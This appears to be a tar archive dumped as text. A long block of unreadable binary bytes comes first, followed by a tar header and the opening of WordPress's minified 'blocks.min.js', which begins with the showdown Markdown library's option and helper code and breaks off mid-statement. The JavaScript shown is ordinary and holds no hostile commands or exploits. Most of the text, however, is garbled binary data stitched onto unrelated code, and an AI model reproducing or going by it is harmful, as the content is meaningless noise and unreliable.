{KeA�bإ�rۣQ��XNbM4J��I�F�Rc9��o�������ŰK�en�bإ�2�t1�Rc�[�v���-���D26�t1�2c�_�v���/]��X�.�]f,�Kg�6��%`�.�]j,sK�.5����a����ŰK�en�L�*�Z���-]��X�.�]j,sK�.5����a���ҙ�'Z/�K�.5���w'Z/�K�.5���w'Z/�Kg��ř�J�eA�b�%Ʋ�t1�cYP�v��,(]��X�΄}k���-]��X�.�]j,sK�.5����a�����o/O2���a�˂�ŰK�eA�b�%Ʋ�t1�cYP:�$�OA�bإ�r��(]j,'�}�ҥ�r��(]j,'�}n/O���.�]j,'�}�ҥ�r��(]j,'�}�ҥ�r���B(5����a����ŰK�en�bإ�2�t1�Rc�[:vg���-]��X�.�]j,sK�.5����a���ҙ�'�_�.�]j,'�_�K��$�K�t����i�.5���/o���I
J�.3����a���Űˌe~�b�e�2�t�Il��a���Űˌe~�b�e�2�t1�2c�_:�D���ŰK��D�K]��XN��ԥK��D�K]��XN��,s+N�ғ����8eJcR��L�qʔ.Ƥ3&��j��n^��߆S�t1&e5/N±�301J���ŰKpUA�b�%���t1�#_P:��$+IA�b�e�2�t1�2c�_�v���/]��X�΄=�u��t1�Rc9�u�(]j,'�n�K��$�-�t���ĺuo)��D6���ŰK�en�bإ�2�t1�Rc�[�v���-�	;�TA6���ŰK�en�bإ�2�t1�Rc�[�v���-�	�3�X�.�]j,sK�.5����a����ŰK�en�LؓX*J�.5��X*�ҥ�rK�Q��XNb�4J��I,���&Z/�K�.3����a���Űˌe~�b�e�2�t&����ŰK��D���D�e~�bإ�r���h��2�t�D�e~�b�e�2�t1�2c�_�v���/]��X�΄=�zY���/r��Ř��T����L�bL:aR��&Z��J_���2��1)c�lOı��31Q�K�`n�bإ�*�t1�R|�[�v���-�;'t�	��'�sKg���K�<�'�sK�ä3&n�bL:aL��[��`"L�'��-]��qL�'�>��3g�*]F��.�]F��.�]F��.�]F��΄=��+�t1�Rc9��K�.5���t�Rc9��K�.5���:�_{��#����{;�	���])�T��?���عvv^v
J��u[]ݨ��73���Օ?Jլ�}�d��BQ�`�L��uNR��n�j.�uN��uNR��n�j.�uN��uNR�m?+�S��n�j.���I�����ۮ��g�}ҳ�>en���>e����Yy��O�{��|V�'=+�S�m?���v�Us��j�ச��T�w�\>�'����9�8-�Ϛ�"�v�UsY��n�j.���mW�e�{��,r˶�S�s�{��|N5NpW��s�q��j.�S��Us��j��ҳ�Ƚ�v�\��ۮ��"�v�UsY��n�j.�ܢ�ǚ�'��.3˖��\bV-O�f�ݚ��e��n��E7_ͮm�ļj�	S}<�ż���k�y�����f���-�͖?8�[�Ŗk���Xs����.��k�؆*���b�:����x�b�:�T���\_5n�Y�F�U�WUlV�����J���:����U��f�u3�6�l%�Z�,kŦ��d+X֒�`YK��e�شe-�
��b�ޒe�تƭdY+���J��d+Xւ�dYK��e�شe���V��[ո�,+�l%�Z�,kŦ��d+X֒�`YK��e�شe-�
��b�ޒe�تƭdY+���J��d+Xւ�dYK��e�شe���V��[ո�,k��J��d+X֊M�m�V��%[���l�Z�i�Z�,k�V5�%�Z�U�[ɲVlU��,k�V��[ɲ�l�Z�i�Z���`Y+��q+Y֔��,k�V����ے�`YK��e-�
��bӖ�d+X֊�jxK��b���e�تZ+Y֒�`Y��e-�
��bӖ�b��[��VlU㶰,��ZYV�-��2�PŖ[V���ƺ���-��2[��.,��V5n�*�U����"[nY%��e�*��*����ZHV7%���`�
����(�,k;�Qd+X�v��V���F��dY��[ɲ�3%��emg0Jl%���`�ٴemg0�lU�dY�}^Q��%[��Vl�oK��e-�
��d+X֊M[֒�`Y+���-Y֊�j�J��b�j�dYK��e-q}��V�JhɲVlu}+X֊�j�J����(�,k;�Qd+X�v��V���F��`Y��[ɲ�3%��emg0Jl%���`��J����(�i���`�٪Rɲ�3���lY��2���v��V���F�M[�v��V5�%���`��J����(��,k;�Qb+Y�v�̦-k;�Qf�ZH%���`�^�[X�-k�m�b�em�Y��X�-k�����V5��em�U�[fY[lU�e���F�*�e����W	�,k���o}�B��Y(Y�Vc��`Y[�
��eme06�
�����`+X�V��V���F��dY[�2[ɲ�2e��eme0�شeme0�تRɲ�2���˖�d+X֊M�m�V��%[���l�Z�i�Z�,k�V5�%�Z�U�[ɲVlU��,k�V��%�/X�
�W	-Y֊��o�Z�U�[ɲ�2l���`l�,k+���V����[���2e��eme0�l%���`��J����(��,k+��Ŧ-k+���V��J����(�([�Vc�M�m+���V���������[��,k+�Qf+Y�V��V���F��dY[�-6mY[�-���T���F�����[h��is~����В��zגI�0�3��Z��j�-���X�ҒI���׈�\����9'����ܒ*�f��L�P�c��C�LR�Ո�x5r�$_��x�nͤZ�*ZZ1ɖ�5--�dK&�f�-u5--�TK��VL�����%�l)Դ�d�-ՌӊI��H|bڛ0�5���ǯ�n�i�$�T1Nk&�R�8��dK����dK���%�l�bZ3��b���TK}��[3ɖj�ӊI�T��VL-m}�g[ܚI�H�V��I�Tak&�ҡ��%�l�jZZ2ɖ�j�ח��PK�X��C-ՔS�kF|�$[���ji���l��
��Zڪt�!qUUE��F���`tɴU$�_1Ɏ��O+&�Rͮ�b�-լ��l�f���dK�k�$[��L����Aj�ƂWL���
2U�c���TԳH�������N3���)vD�\��c������S������O�P����O�;PH��w��T�Ƨ�wg�T���=/<�w��F�e.>]�Å�����Xx*^��ӭ�R/y����W��T�Ʌu%^���jY��ŧ�r��Y|�����`q=/�����_q=/������i_q=/�.����y��z�5V�'��x�~�W\ϋ���|��z���^q=��n;��^a=�fy��t�_>]sla�T-la�T$la�Tla�Tla�T	���:*���Su�SXϫ��p�����QNa=��[3��k
�y�4ю����s�Y�C����j���
�&�QRu�����:�%��T'�AR;I�OR�Ij<Iݦ$���WO���T��(�����$u�T�E>o���'j+�NR��Lrt����l>Q��Lrt&9�l�l>Q�j��K� �IRGE��$u/������$�K��|6��QR��Lrt&9:��l6MZ�ɹx���Q79�&G�dϢ\gQ��(��R�(WT�3�D��r{�r6{�R{9���^�d/G��Zr$����$5Jj/���&I5��A����T/�r��3?ș��?Q�8䶙��'�q�'�E��M�����Q��Q��Q��(��OT'�AR;I�Z��0I-&��I�lR�l�R힩��&I5�ٙ�J��Y6fg��٤���kګ�L�$� ���fvq��v'�n6�gj��^R��5R�F�D5I���K� �IQ�1{��%���VR��zI����[#筑���yk�=Q�Mz���k��3�ʙo��r�[9�O�QQ��l��r�Z9��V���k����r�/�ቚ5_�^����o�ֽ/W��+�����:r�$�$��$.<SuY�$�;S;I=H�Ij�T݇$���N����'�'�'�'���T9:��|璨n��n��n29�&���=Q{I$5I��Y>C&gHb�3��T'���J�'��$5�G]"�I��'j�[��Iz�������=��zx�FI$uT�\�'j֮Đ�D_�DI��"����I�����Th�w�T͛$u�T�[;4Jڙ:Hj��QR3i���Ji���Ji���4'�9)�IiNJ뤴NJ뤴NJ뤴(�E)-JiQJ�RZ/��RZ/��RZ/�
R� �
R� �
B�s�@$5I�(��4e���$u��LZ�҂��� �)MY���&I%5�v��R�AJ;Hi)ͤ4��LJ3)ͤ4eݠ��$u��L��nPIM�:Jj&MY7���&I%5����$�%)-IiIJ��QJ��QJ��IJ���IJ���II�WJڙ:Hj��QR���ȝ+ȝ+ȝ+ȝ+ȝ+ȝ+ȝ+ȝ+ȝ+ȝ+ȝ+ȝ+ȝ+ȝ+ȝ+ȝ+ȝ+ȝ+ȝ+ȝ+Ƚ$Ƚ$Ƚ$Ƚ$Ƚ$Ƚ$Ƚ$Ƚ$Ƚ$Ƚ$Ƚ$Ƚ$Ƚ$Ƚ$Ƚ$Ƚ$Ƚ$Ƚ$Ƚ$Ƚ����I��uwҺ;i��^J�Ki{)m/��4�u2��d�����^'#�NFx���:�u2���u��$���f�6u��$���fҤ����������������>��}���d'��N�i�i�i�i�i�i�i�i�i�i�i�i�i�i�i�2�d.��\��� 'sA��s��I{;H{;H{;H{;H{;H{;H{;H{;H{;�X� c僌�2V>�X٤���`�LZ@�h1J�%Z�-F���8^z/=���K������x�q��8^zߩ�u��$���R����AR�����I�#ir$M��ɑ49���PIM�:J*�=�jXHu��$���fҔnAfՂ̪�U2�dV-ȬZ�Y� �jAfՂ��
2d.(�\P��� sAA悂��
2d.(�\P��� sAA悂��
2d.(�\P��� sAA悂�=��XJ�*
5I�(���+�� �IRGIͤɽ��{I/��^�%��Kz���r/��^�˽��{ɠ<���&I%5�&�[��y��9N��8v���:Hj��QR3i��@$5I�(���Wh�AR�����ISCPIM�:Jj&M�\���$u��L��o���$u��L�\�{�&�rM����5�W�
�AR�����IS�
�AR�����I��������������֨]�AR����Ji�ڕA$5I�(��4�MA$5I�(��4��u��$���f�T\� �IRGIͤ���AR�����ISq	���&I%5�&-���Jh����u��$���fҤ7m�7m�7m�7m�7m�7m�7m�7m�7m�7m�h�h�h�h�h�h�h�h�h��z�z�z�z�z�8�$0�L��8�$0�L��8�$x����&-���K���zi���^Z@/-��^/#�^Fx���z�
��io���A�� �m��6H{��
��io���s
2�d�5Ș+ɸ$ɸ$ɸ$ɸ$ɸ$ɸ$ɸ$ɸ$ɸ$ɸ$ɸ$ɸ$ɸ$ɸ$ɸ$ɸ$ɸ$ɸ$ɸ$ɸ$�}2�}2�}2�}2�}2�}2�}2�}2�}2�}2I����I��$�q��8I��I��I��I��I��I��I��I��I��I��I��$Q~�(?I��$�O�$���I��$}@�(?I��$�O�'���8Iz�$=N�')��/����~��؏��Q�b?�_�G���(��/����~��� �IRGI��I�|PIM�:Jj&MySPIM�:Jj&MySPIM�:Jj&M��I��I��I��I��I��I��I��I��I��I��I��I��I��I�I�MA$5I�(��4�MA$5I�(��4�MA$5I�(�OҚ R�$��qTDcH⠈IGE��ux@⠈IGE<�֑��"&E���A��"&E������"&E��ĪqPĤ��"�����jl�(qIi�V���Ҭ(����>3�_QŠҭ(�Ŗ��tu�p3`��w|��K����ρO���j�{��<~�7�7�7|��Ϊ�S[���͢.n5�p��f�M�
����^U�
$���W��>�7�q����x�7ԇ���ug��\�y�=�4
��%[������&��́7���_��n��x�=ix������&��́7,@~y��f�M���o��>{곧>{곧>{곧>{곧>{�éoY��S�=��S�=�i�OC}����ۆ�fIضa���a���Ucۆ�n�k.�e�[��˿��o��[.��˿��o��[.��˿m�OK}Z��:�mK}�q��QG}�q��QG}�qY�~�㨏�>��8����6�<����SO}<����SO}<����SO}<���'P�@}�	�'P�@}X��e��6P�@}�	�'P�@}�	ԇ�F�h��Kc���OG}:��Q����+n��a$�2jY[�=P��9P��>V��
�9P��9P��9P��9P�o��ad�2��
����Z�o-C��![k쨱;��Dv'�;�݉�˛�����Ȏ��y���^��{9����+��,޲>x�r�-��=��OO}z��S����C&-+��,*�f�z�OO}�3P����g�>���@}�3P����g�>���P��O�>,��&ꓨO�>��$ꓨO�>��$ꓨO�>��$�3R����ԇP���H}��Z⬖8�%�j������YٗZ⬖8�%�j��Z���h�%�j	�Z��*/�B��_!��_U"�pD���}8�G��>ч#�pD���}8�G��>\��R�G��>ч#�pD���}8�G��>\���G��>ч#�pD��>
�!.q�'��K\���G\�Kq�˾�B\�Kq�#.q�%����8�G\�Kq�#.q�%����8�G\�o�8�G\�Kq�#.q�%����8�G\�Kq�#.q�%����8�G\�Kq�#.q�%����8�G\�Kq�#.q�%����8�G\�Kq�#.q�%��$->Ņ�C\�Kq�#.q�%����8�G\��W�8�G\�Kq�#.q�%���e_�".q�%���e�p".q�%���e��".q�%����8�G\�Kq�#.q�%����8��}�*�3ΎgG��X3Ύ���8�g�Ǩ��#�q6����8�}Ì���8���U����d��r6���ظ�S_ٗ��ye���>�E`�l��#�q6���e_h�>��}�+�x��#�q6����8G`�l��#�q6����8G`�l��#�q6���e߃"�q6����8G`�l��#�q6����8G`�l��#�q6����8�}�3�D(���>H`���8G`�x��x��y!�#�q<@r�?����8��X��*d��7�	y<!�'��<����xBO��	y<!�'��<����xBO��	y<!�'��<����xBO��	y<!�'��<����xBO��	y<!�'��<��'�ʭ'�ɾ��	y<!�'��<��<!�'��<����xBO��	y<!�'��<����xBO��	y<!�'�����cx�5�!�����Vx�
OX�	+<a�'�����Vx�
OX�}�田�Vx�
OX�	+<a�'�����g���{F���g���{F���g��E�C����X�3V���=�[���3h�=CCϐ�3d�<����3��0<����{:~O����==z�emO��(=]���d�Y��,Y1��m��@?���\���s�~.����@?���\���s�~.����@?���\���s�~.����@?���\���s�~.����@?���\���s�~.����@?���\���s�~.����@?���\���s�~.����@?���\���s�����^`j/0���L���S{�����^`j/����@��v�n��
L�e�L��ZS-����TK`�%�I�ZS-��#�}��@��j	L�:��TK���TK`�%�:��TK`�%0��j	L��ZS-����TK`�%0��j	L�z�@��j	L���C�L��ZS-����TK`�%0��j	�ہ~;0��j	L��ZS-����TK`�%0�,���L��ZS-����h#0��6S-����LI`�$0S�)	̔2��L`>$0�	qC��'0���~s��P`n#0����S�)��S`�!0��fL3����X��%1�8Ǡ�t��c�q:�w:�w:F���c~��u*c�e����1�2F\ƈ�q#.c�e����1�2F\ƈ�q#.c�e����1�2F\ƈ�q#.c�e����1�2F\ƈ�q#.c�e����1�2F\ƈ�q#.c�e����1�2F\ƈ�q�,c�e��A�1�2Y� �d�,c�e���q�1�2�UƸ�W�*c\e����
cn�0�6��
cn�0�6��
cn�0�6��
cn�0�6��
cn�0�6��
cnØ�0�6�G��#S㑩���xdj<25��&ƴ����xdjL�*Ƅ�1�bL�*Ƅ�1�b<25��L�G��#Sco��q�1�7���8���xco��q�1�7���8���xco��q�1�7���8���xco��q�1�7���8���xco��q�1�7���8���xco��q�1�7���8���xco��q�1�7���8���xco��q�1�7���8���xco��q�1�7���8�xdj<25��L�G�F `F `F `F `ƌ�������G��#S㑩���+���+���RCjcHm��!�1�6��Ɛ�RCjcHm��P�xdj<25�x-�ydj<25b#�1b#�1b#�1b#���JEV�"�I������?��4ҟF��H�O#�i�?��4ҟF��HG�(#e���t���2�QF:�HG�(#�\����s�~.��E��H?��"�\����s�~.��E��H?��"�\����s�~.��E��H?��"�\����s�~.��E��H?��"�\����s�~.��E��H?��"�\����s�~.��E��H?��"�\����s�~.��E��H?��"�Q�3�tF��(�E:�Hg�"�Q�3�tF��(�E:�Hg�r"]N�ˉt9�.'��D��H��r"]N�ˉt�N"�ID:�H'�$"�D���g'�\��zsu����i�-��ͨ���
ދo�Z|������#��f��{�
^�m��l��`����oo4xy���
^�h��F�7��=�\��F�&���r����ןw�Ɵ��Ɵ
��)p�C�g��gE��o�3�G�
N|�68zmp�����j���g�
6e68�lp\�����b����~
��58�kpD����Z���k
���58Zkp�������=�7�x�9`�t���}���a�8kp�����W���]
��_58}jp����aQ���g3
�f�48W��1>�1&	�'�IB��[�?��h�N%J48�hp
����D�#���<l�;�Fc�>��pq��z�5�?�U��,��9�?_��Y���9��k��x��}��u����=���T��5�a�wX��p��ٝ�������u����>�?g4=����W{uN���Oc�6�>��O�>�~f��쫏~��x�po�w_���]�����V��]a��m�Ρ>?�@{����組ȖW���w2�"A��K��������Rn�Rng_,��\q�f?J���d?����_��n��_uQ�[�R�g��s��>UU}�#�F�\�+2w�t�t��>?�
P���e����WWg{�ix�y3���_�7-�xs��ǛLN�82��D��1�����~��W]w��O.E�P����O\�({	�R�h�7[��Xsd�z<ߺ���~�����nP���xF��yd#�U�d��d�
�L�L����k0�חJK�JK��s��t��t��TZZVZ�p���;z)�t)�t��>�J�J�N�jҥj��\�&�R�&�^%���)Q���JT�R3�R3�tC}.5�.5�N7���I���Re$�p)�t)�t��C�C�_�!�n�ϥҥ���ĵ�؃K��K���
��)�)��R���
��R��R��K��w7�H��'*Ftu�Ka��׿��D���#�zw����C?Uq!�祠��OUP�RD�g.TS,�g)t��/
�嗻��������~W��~u=�>�}2�>\?\��������?�w���ѯ~u7>����}��cn�/�'��4��G3�����ov����a�������?�=�����v�~ws}�ﻇ�3���_��n��yq�{�½�����[���3��mᅵ^߽�׷߾x���n�{��<�W׷_>q���N���,8����o��o^��^�WO�Ow��������o�nv�����w����Ñ�}[����m�y��]�����W��������}���������a���rnox���5�8���}�3×Moo������o����ϟ�����}|l�͛���8_s7�����O�jB�|xxs��/�<.����w�}�b^3��|w�SQ���o��_���>���y*�����/��n<�����L�9u���S_߭�����O���wWg�ص���������W�����r|��l=��y�� _����7����?���~7^ϓuwR9�B^���.]{�p��ݧ��L�_�#3�ܾ~xy\��F�a��'�8u�7ogiG��o�~���~߳���M~sj���߼������W�^��\/�?��uʗ�Zާ���n����̓�~8?������qH��q��� �������x��蛻��of^���o�����/�!~1]}a����/��i�y�|\_����͉z���y�(����j�?�l����v���u3����?����E{�7o�Oj�o���l��^r��#��2��|}l����Y��r�*����y���i��?�&�x��o���i<R^�V�;M���l��csw���������O�����#�m|5������|\�oon~�
<������x���fn��g���O���,�=K��؋������=����o��ލ�y�� ��������7������i���w}?�S�8�]�S��g�ۑ�_^�M��	HG��&�hnlv���0��ǻv��o�c��n�\��?����~����w*7ꊙ��q����ٻ�x�pY<���?]�.����ۿ�S�B14338/blocks.min.js.tar000064400000526000151024420100010400 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/dist/blocks.min.js000064400000522772151024364330025350 0ustar00/*! This file is auto-generated */
(()=>{var e={1030:function(e,t,r){var n;/*! showdown v 1.9.1 - 02-11-2019 */
(function(){function o(e){"use strict";var t={omitExtraWLInCodeBlocks:{defaultValue:!1,describe:"Omit the default extra whiteline added to code blocks",type:"boolean"},noHeaderId:{defaultValue:!1,describe:"Turn on/off generated header id",type:"boolean"},prefixHeaderId:{defaultValue:!1,describe:"Add a prefix to the generated header ids. Passing a string will prefix that string to the header id. Setting to true will add a generic 'section-' prefix",type:"string"},rawPrefixHeaderId:{defaultValue:!1,describe:'Setting this option to true will prevent showdown from modifying the prefix. This might result in malformed IDs (if, for instance, the " char is used in the prefix)',type:"boolean"},ghCompatibleHeaderId:{defaultValue:!1,describe:"Generate header ids compatible with github style (spaces are replaced with dashes, a bunch of non alphanumeric chars are removed)",type:"boolean"},rawHeaderId:{defaultValue:!1,describe:"Remove only spaces, ' and \" from generated header ids (including prefixes), replacing them with dashes (-). WARNING: This might result in malformed ids",type:"boolean"},headerLevelStart:{defaultValue:!1,describe:"The header blocks level start",type:"integer"},parseImgDimensions:{defaultValue:!1,describe:"Turn on/off image dimension parsing",type:"boolean"},simplifiedAutoLink:{defaultValue:!1,describe:"Turn on/off GFM autolink style",type:"boolean"},excludeTrailingPunctuationFromURLs:{defaultValue:!1,describe:"Excludes trailing punctuation from links generated with autoLinking",type:"boolean"},literalMidWordUnderscores:{defaultValue:!1,describe:"Parse midword underscores as literal underscores",type:"boolean"},literalMidWordAsterisks:{defaultValue:!1,describe:"Parse midword asterisks as literal asterisks",type:"boolean"},strikethrough:{defaultValue:!1,describe:"Turn on/off strikethrough support",type:"boolean"},tables:{defaultValue:!1,describe:"Turn on/off tables support",type:"boolean"},tablesHeaderId:{defaultValue:!1,describe:"Add an id to table headers",type:"boolean"},ghCodeBlocks:{defaultValue:!0,describe:"Turn on/off GFM fenced code blocks support",type:"boolean"},tasklists:{defaultValue:!1,describe:"Turn on/off GFM tasklist support",type:"boolean"},smoothLivePreview:{defaultValue:!1,describe:"Prevents weird effects in live previews due to incomplete input",type:"boolean"},smartIndentationFix:{defaultValue:!1,description:"Tries to smartly fix indentation in es6 strings",type:"boolean"},disableForced4SpacesIndentedSublists:{defaultValue:!1,description:"Disables the requirement of indenting nested sublists by 4 spaces",type:"boolean"},simpleLineBreaks:{defaultValue:!1,description:"Parses simple line breaks as <br> (GFM Style)",type:"boolean"},requireSpaceBeforeHeadingText:{defaultValue:!1,description:"Makes adding a space between `#` and the header text mandatory (GFM Style)",type:"boolean"},ghMentions:{defaultValue:!1,description:"Enables github @mentions",type:"boolean"},ghMentionsLink:{defaultValue:"https://github.com/{u}",description:"Changes the link generated by @mentions. Only applies if ghMentions option is enabled.",type:"string"},encodeEmails:{defaultValue:!0,description:"Encode e-mail addresses through the use of Character Entities, transforming ASCII e-mail addresses into its equivalent decimal entities",type:"boolean"},openLinksInNewWindow:{defaultValue:!1,description:"Open all links in new windows",type:"boolean"},backslashEscapesHTMLTags:{defaultValue:!1,description:"Support for HTML Tag escaping. ex: <div>foo</div>",type:"boolean"},emoji:{defaultValue:!1,description:"Enable emoji support. Ex: `this is a :smile: emoji`",type:"boolean"},underline:{defaultValue:!1,description:"Enable support for underline. Syntax is double or triple underscores: `__underline word__`. With this option enabled, underscores no longer parses into `<em>` and `<strong>`",type:"boolean"},completeHTMLDocument:{defaultValue:!1,description:"Outputs a complete html document, including `<html>`, `<head>` and `<body>` tags",type:"boolean"},metadata:{defaultValue:!1,description:"Enable support for document metadata (defined at the top of the document between `«««` and `»»»` or between `---` and `---`).",type:"boolean"},splitAdjacentBlockquotes:{defaultValue:!1,description:"Split adjacent blockquote blocks",type:"boolean"}};if(!1===e)return JSON.parse(JSON.stringify(t));var r={};for(var n in t)t.hasOwnProperty(n)&&(r[n]=t[n].defaultValue);return r}var a={},i={},s={},c=o(!0),l="vanilla",u={github:{omitExtraWLInCodeBlocks:!0,simplifiedAutoLink:!0,excludeTrailingPunctuationFromURLs:!0,literalMidWordUnderscores:!0,strikethrough:!0,tables:!0,tablesHeaderId:!0,ghCodeBlocks:!0,tasklists:!0,disableForced4SpacesIndentedSublists:!0,simpleLineBreaks:!0,requireSpaceBeforeHeadingText:!0,ghCompatibleHeaderId:!0,ghMentions:!0,backslashEscapesHTMLTags:!0,emoji:!0,splitAdjacentBlockquotes:!0},original:{noHeaderId:!0,ghCodeBlocks:!1},ghost:{omitExtraWLInCodeBlocks:!0,parseImgDimensions:!0,simplifiedAutoLink:!0,excludeTrailingPunctuationFromURLs:!0,literalMidWordUnderscores:!0,strikethrough:!0,tables:!0,tablesHeaderId:!0,ghCodeBlocks:!0,tasklists:!0,smoothLivePreview:!0,simpleLineBreaks:!0,requireSpaceBeforeHeadingText:!0,ghMentions:!1,encodeEmails:!0},vanilla:o(!0),allOn:function(){"use strict";var e=o(!0),t={};for(var r in e)e.hasOwnProperty(r)&&(t[r]=!0);return t}()};function d(e,t){"use strict";var r=t?"Error in "+t+" extension->":"Error in unnamed extension",n={valid:!0,error:""};a.helper.isArray(e)||(e=[e]);for(var o=0;o<e.length;++o){var i=r+" sub-extension "+o+": ",s=e[o];if("object"!=typeof s)return n.valid=!1,n.error=i+"must be an object, but "+typeof s+" given",n;if(!a.helper.isString(s.type))return n.valid=!1,n.error=i+'property "type" must be a string, but '+typeof s.type+" given",n;var c=s.type=s.type.toLowerCase();if("language"===c&&(c=s.type="lang"),"html"===c&&(c=s.type="output"),"lang"!==c&&"output"!==c&&"listener"!==c)return n.valid=!1,n.error=i+"type "+c+' is not recognized. Valid values: "lang/language", "output/html" or "listener"',n;if("listener"===c){if(a.helper.isUndefined(s.listeners))return n.valid=!1,n.error=i+'. Extensions of type "listener" must have a property called "listeners"',n}else if(a.helper.isUndefined(s.filter)&&a.helper.isUndefined(s.regex))return n.valid=!1,n.error=i+c+' extensions must define either a "regex" property or a "filter" method',n;if(s.listeners){if("object"!=typeof s.listeners)return n.valid=!1,n.error=i+'"listeners" property must be an object but '+typeof s.listeners+" given",n;for(var l in s.listeners)if(s.listeners.hasOwnProperty(l)&&"function"!=typeof s.listeners[l])return n.valid=!1,n.error=i+'"listeners" property must be an hash of [event name]: [callback]. listeners.'+l+" must be a function but "+typeof s.listeners[l]+" given",n}if(s.filter){if("function"!=typeof s.filter)return n.valid=!1,n.error=i+'"filter" must be a function, but '+typeof s.filter+" given",n}else if(s.regex){if(a.helper.isString(s.regex)&&(s.regex=new RegExp(s.regex,"g")),!(s.regex instanceof RegExp))return n.valid=!1,n.error=i+'"regex" property must either be a string or a RegExp object, but '+typeof s.regex+" given",n;if(a.helper.isUndefined(s.replace))return n.valid=!1,n.error=i+'"regex" extensions must implement a replace string or function',n}}return n}function p(e,t){"use strict";return"¨E"+t.charCodeAt(0)+"E"}a.helper={},a.extensions={},a.setOption=function(e,t){"use strict";return c[e]=t,this},a.getOption=function(e){"use strict";return c[e]},a.getOptions=function(){"use strict";return c},a.resetOptions=function(){"use strict";c=o(!0)},a.setFlavor=function(e){"use strict";if(!u.hasOwnProperty(e))throw Error(e+" flavor was not found");a.resetOptions();var t=u[e];for(var r in l=e,t)t.hasOwnProperty(r)&&(c[r]=t[r])},a.getFlavor=function(){"use strict";return l},a.getFlavorOptions=function(e){"use strict";if(u.hasOwnProperty(e))return u[e]},a.getDefaultOptions=function(e){"use strict";return o(e)},a.subParser=function(e,t){"use strict";if(a.helper.isString(e)){if(void 0===t){if(i.hasOwnProperty(e))return i[e];throw Error("SubParser named "+e+" not registered!")}i[e]=t}},a.extension=function(e,t){"use strict";if(!a.helper.isString(e))throw Error("Extension 'name' must be a string");if(e=a.helper.stdExtName(e),a.helper.isUndefined(t)){if(!s.hasOwnProperty(e))throw Error("Extension named "+e+" is not registered!");return s[e]}"function"==typeof t&&(t=t()),a.helper.isArray(t)||(t=[t]);var r=d(t,e);if(!r.valid)throw Error(r.error);s[e]=t},a.getAllExtensions=function(){"use strict";return s},a.removeExtension=function(e){"use strict";delete s[e]},a.resetExtensions=function(){"use strict";s={}},a.validateExtension=function(e){"use strict";var t=d(e,null);return!!t.valid||(console.warn(t.error),!1)},a.hasOwnProperty("helper")||(a.helper={}),a.helper.isString=function(e){"use strict";return"string"==typeof e||e instanceof String},a.helper.isFunction=function(e){"use strict";return e&&"[object Function]"==={}.toString.call(e)},a.helper.isArray=function(e){"use strict";return Array.isArray(e)},a.helper.isUndefined=function(e){"use strict";return void 0===e},a.helper.forEach=function(e,t){"use strict";if(a.helper.isUndefined(e))throw new Error("obj param is required");if(a.helper.isUndefined(t))throw new Error("callback param is required");if(!a.helper.isFunction(t))throw new Error("callback param must be a function/closure");if("function"==typeof e.forEach)e.forEach(t);else if(a.helper.isArray(e))for(var r=0;r<e.length;r++)t(e[r],r,e);else{if("object"!=typeof e)throw new Error("obj does not seem to be an array or an iterable object");for(var n in e)e.hasOwnProperty(n)&&t(e[n],n,e)}},a.helper.stdExtName=function(e){"use strict";return e.replace(/[_?*+\/\\.^-]/g,"").replace(/\s/g,"").toLowerCase()},a.helper.escapeCharactersCallback=p,a.helper.escapeCharacters=function(e,t,r){"use strict";var n="(["+t.replace(/([\[\]\\])/g,"\\$1")+"])";r&&(n="\\\\"+n);var o=new RegExp(n,"g");return e=e.replace(o,p)},a.helper.unescapeHTMLEntities=function(e){"use strict";return e.replace(/&quot;/g,'"').replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&amp;/g,"&")};var f=function(e,t,r,n){"use strict";var o,a,i,s,c,l=n||"",u=l.indexOf("g")>-1,d=new RegExp(t+"|"+r,"g"+l.replace(/g/g,"")),p=new RegExp(t,l.replace(/g/g,"")),f=[];do{for(o=0;i=d.exec(e);)if(p.test(i[0]))o++||(s=(a=d.lastIndex)-i[0].length);else if(o&&! --o){c=i.index+i[0].length;var h={left:{start:s,end:a},match:{start:a,end:i.index},right:{start:i.index,end:c},wholeMatch:{start:s,end:c}};if(f.push(h),!u)return f}}while(o&&(d.lastIndex=a));return f};a.helper.matchRecursiveRegExp=function(e,t,r,n){"use strict";for(var o=f(e,t,r,n),a=[],i=0;i<o.length;++i)a.push([e.slice(o[i].wholeMatch.start,o[i].wholeMatch.end),e.slice(o[i].match.start,o[i].match.end),e.slice(o[i].left.start,o[i].left.end),e.slice(o[i].right.start,o[i].right.end)]);return a},a.helper.replaceRecursiveRegExp=function(e,t,r,n,o){"use strict";if(!a.helper.isFunction(t)){var i=t;t=function(){return i}}var s=f(e,r,n,o),c=e,l=s.length;if(l>0){var u=[];0!==s[0].wholeMatch.start&&u.push(e.slice(0,s[0].wholeMatch.start));for(var d=0;d<l;++d)u.push(t(e.slice(s[d].wholeMatch.start,s[d].wholeMatch.end),e.slice(s[d].match.start,s[d].match.end),e.slice(s[d].left.start,s[d].left.end),e.slice(s[d].right.start,s[d].right.end))),d<l-1&&u.push(e.slice(s[d].wholeMatch.end,s[d+1].wholeMatch.start));s[l-1].wholeMatch.end<e.length&&u.push(e.slice(s[l-1].wholeMatch.end)),c=u.join("")}return c},a.helper.regexIndexOf=function(e,t,r){"use strict";if(!a.helper.isString(e))throw"InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string";if(t instanceof RegExp==!1)throw"InvalidArgumentError: second parameter of showdown.helper.regexIndexOf function must be an instance of RegExp";var n=e.substring(r||0).search(t);return n>=0?n+(r||0):n},a.helper.splitAtIndex=function(e,t){"use strict";if(!a.helper.isString(e))throw"InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string";return[e.substring(0,t),e.substring(t)]},a.helper.encodeEmailAddress=function(e){"use strict";var t=[function(e){return"&#"+e.charCodeAt(0)+";"},function(e){return"&#x"+e.charCodeAt(0).toString(16)+";"},function(e){return e}];return e=e.replace(/./g,(function(e){if("@"===e)e=t[Math.floor(2*Math.random())](e);else{var r=Math.random();e=r>.9?t[2](e):r>.45?t[1](e):t[0](e)}return e}))},a.helper.padEnd=function(e,t,r){"use strict";return t|=0,r=String(r||" "),e.length>t?String(e):((t-=e.length)>r.length&&(r+=r.repeat(t/r.length)),String(e)+r.slice(0,t))},"undefined"==typeof console&&(console={warn:function(e){"use strict";alert(e)},log:function(e){"use strict";alert(e)},error:function(e){"use strict";throw 